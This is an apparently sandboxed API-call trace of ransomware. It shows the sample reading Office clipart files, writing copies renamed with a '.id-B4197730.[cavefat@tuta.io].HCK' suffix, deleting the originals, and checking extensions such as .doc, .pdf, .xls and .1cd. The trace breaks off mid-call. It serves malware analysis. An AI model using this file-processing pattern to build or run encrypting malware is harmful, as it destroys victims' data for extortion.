[0225.503] Sleep (dwMilliseconds=0x64) [0225.844] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0225.844] lstrlenW (lpString="J0099151.WMF") returned 12 [0225.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.389] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=26086) returned 1 [0227.389] CloseHandle (hObject=0x4bc) returned 1 [0227.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220 [0227.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.390] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.390] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0227.391] GetLastError () returned 0x0 [0227.391] ReadFile (in: hFile=0x4bc, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x65e6, lpOverlapped=0x0) returned 1 [0227.403] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x65f0, lpOverlapped=0x0) returned 1 [0227.404] ReadFile (in: hFile=0x4bc, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.404] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.404] SetEndOfFile (hFile=0x4c0) returned 1 [0227.405] CloseHandle (hObject=0x4c0) returned 1 [0227.405] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.405] SetEndOfFile (hFile=0x4bc) returned 1 [0227.408] CloseHandle (hObject=0x4bc) returned 1 [0227.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0227.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0227.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0227.410] lstrlenW (lpString=".doc") returned 4 [0227.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.410] lstrlenW (lpString=".docx") returned 5 [0227.410] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0227.410] lstrlenW (lpString=".pdf") returned 4 [0227.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.410] lstrlenW (lpString=".xls") returned 4 [0227.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.410] lstrlenW (lpString=".xlsx") returned 5 [0227.410] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0227.410] lstrlenW (lpString=".ppt") returned 4 [0227.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0227.410] lstrlenW (lpString=".zip") returned 4 [0227.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.410] lstrlenW (lpString=".rar") returned 4 [0227.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.410] lstrlenW (lpString=".bz2") returned 4 [0227.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.410] lstrlenW (lpString=".7z") returned 3 [0227.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0227.410] lstrlenW (lpString=".dbf") returned 4 [0227.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0227.410] lstrlenW (lpString=".1cd") returned 4 [0227.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0227.410] lstrlenW (lpString=".jpg") returned 4 [0227.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0227.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0227.411] lstrlenW (lpString=".doc") returned 4 [0227.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.411] lstrlenW (lpString=".docx") returned 5 [0227.411] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0227.411] lstrlenW (lpString=".pdf") returned 4 [0227.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.411] lstrlenW (lpString=".xls") returned 4 [0227.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.411] lstrlenW (lpString=".xlsx") returned 5 [0227.411] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0227.411] lstrlenW (lpString=".ppt") returned 4 [0227.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0227.411] lstrlenW (lpString=".zip") returned 4 [0227.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.411] lstrlenW (lpString=".rar") returned 4 [0227.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.411] lstrlenW (lpString=".bz2") returned 4 [0227.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.411] lstrlenW (lpString=".7z") returned 3 [0227.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0227.411] lstrlenW (lpString=".dbf") returned 4 [0227.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0227.411] lstrlenW (lpString=".1cd") returned 4 [0227.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0227.411] lstrlenW (lpString=".jpg") returned 4 [0227.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.411] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0227.411] lstrlenW (lpString="J0099159.WMF") returned 12 [0227.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.413] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=27546) returned 1 [0227.414] CloseHandle (hObject=0x4bc) returned 1 [0227.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220 [0227.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.414] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.414] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0227.415] GetLastError () returned 0x0 [0227.415] ReadFile (in: hFile=0x4bc, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x6b9a, lpOverlapped=0x0) returned 1 [0227.418] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x6ba0, lpOverlapped=0x0) returned 1 [0227.419] ReadFile (in: hFile=0x4bc, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.419] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.419] SetEndOfFile (hFile=0x4c0) returned 1 [0227.420] CloseHandle (hObject=0x4c0) returned 1 [0227.420] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.420] SetEndOfFile (hFile=0x4bc) returned 1 [0227.422] CloseHandle (hObject=0x4bc) returned 1 [0227.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0227.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0227.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0227.423] lstrlenW (lpString=".doc") returned 4 [0227.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.423] lstrlenW (lpString=".docx") returned 5 [0227.423] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0227.423] lstrlenW (lpString=".pdf") returned 4 [0227.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.424] lstrlenW (lpString=".xls") returned 4 [0227.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.424] lstrlenW (lpString=".xlsx") returned 5 [0227.424] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0227.424] lstrlenW (lpString=".ppt") returned 4 [0227.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0227.424] lstrlenW (lpString=".zip") returned 4 [0227.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.424] lstrlenW (lpString=".rar") returned 4 [0227.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.424] lstrlenW (lpString=".bz2") returned 4 [0227.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.424] lstrlenW (lpString=".7z") returned 3 [0227.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0227.424] lstrlenW (lpString=".dbf") returned 4 [0227.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0227.424] lstrlenW (lpString=".1cd") returned 4 [0227.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0227.424] lstrlenW (lpString=".jpg") returned 4 [0227.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0227.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0227.424] lstrlenW (lpString=".doc") returned 4 [0227.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.424] lstrlenW (lpString=".docx") returned 5 [0227.424] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0227.424] lstrlenW (lpString=".pdf") returned 4 [0227.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.424] lstrlenW (lpString=".xls") returned 4 [0227.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.424] lstrlenW (lpString=".xlsx") returned 5 [0227.424] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0227.424] lstrlenW (lpString=".ppt") returned 4 [0227.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0227.424] lstrlenW (lpString=".zip") returned 4 [0227.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.424] lstrlenW (lpString=".rar") returned 4 [0227.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.424] lstrlenW (lpString=".bz2") returned 4 [0227.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.424] lstrlenW (lpString=".7z") returned 3 [0227.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0227.765] lstrlenW (lpString=".dbf") returned 4 [0227.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0227.765] lstrlenW (lpString=".1cd") returned 4 [0227.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0227.765] lstrlenW (lpString=".jpg") returned 4 [0227.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.765] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0227.765] lstrlenW (lpString="J0099164.WMF") returned 12 [0227.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0227.766] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=21946) returned 1 [0227.766] CloseHandle (hObject=0x454) returned 1 [0227.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220 [0227.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0227.767] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.767] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0227.768] GetLastError () returned 0x0 [0227.768] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x55ba, lpOverlapped=0x0) returned 1 [0227.770] WriteFile (in: hFile=0x4a8, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x55c0, lpOverlapped=0x0) returned 1 [0227.771] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.771] WriteFile (in: hFile=0x4a8, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.771] SetEndOfFile (hFile=0x4a8) returned 1 [0227.771] CloseHandle (hObject=0x4a8) returned 1 [0227.771] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.771] SetEndOfFile (hFile=0x454) returned 1 [0227.773] CloseHandle (hObject=0x454) returned 1 [0227.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0227.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0227.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0227.774] lstrlenW (lpString=".doc") returned 4 [0227.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.774] lstrlenW (lpString=".docx") returned 5 [0227.774] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0227.774] lstrlenW (lpString=".pdf") returned 4 [0227.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.774] lstrlenW (lpString=".xls") returned 4 [0227.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.774] lstrlenW (lpString=".xlsx") returned 5 [0227.774] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0227.774] lstrlenW (lpString=".ppt") returned 4 [0227.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0227.774] lstrlenW (lpString=".zip") returned 4 [0227.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.774] lstrlenW (lpString=".rar") returned 4 [0227.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.774] lstrlenW (lpString=".bz2") returned 4 [0227.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.774] lstrlenW (lpString=".7z") returned 3 [0227.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0227.774] lstrlenW (lpString=".dbf") returned 4 [0227.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0227.775] lstrlenW (lpString=".1cd") returned 4 [0227.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0227.775] lstrlenW (lpString=".jpg") returned 4 [0227.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0227.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0227.812] lstrlenW (lpString=".doc") returned 4 [0227.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.812] lstrlenW (lpString=".docx") returned 5 [0227.812] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0227.812] lstrlenW (lpString=".pdf") returned 4 [0227.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.813] lstrlenW (lpString=".xls") returned 4 [0227.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.813] lstrlenW (lpString=".xlsx") returned 5 [0227.813] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0227.813] lstrlenW (lpString=".ppt") returned 4 [0227.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0227.813] lstrlenW (lpString=".zip") returned 4 [0227.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.813] lstrlenW (lpString=".rar") returned 4 [0227.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.813] lstrlenW (lpString=".bz2") returned 4 [0227.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.813] lstrlenW (lpString=".7z") returned 3 [0227.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0227.813] lstrlenW (lpString=".dbf") returned 4 [0227.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0227.813] lstrlenW (lpString=".1cd") returned 4 [0227.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0227.813] lstrlenW (lpString=".jpg") returned 4 [0227.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.813] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0227.813] lstrlenW (lpString="J0099167.JPG") returned 12 [0227.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.814] GetFileSizeEx 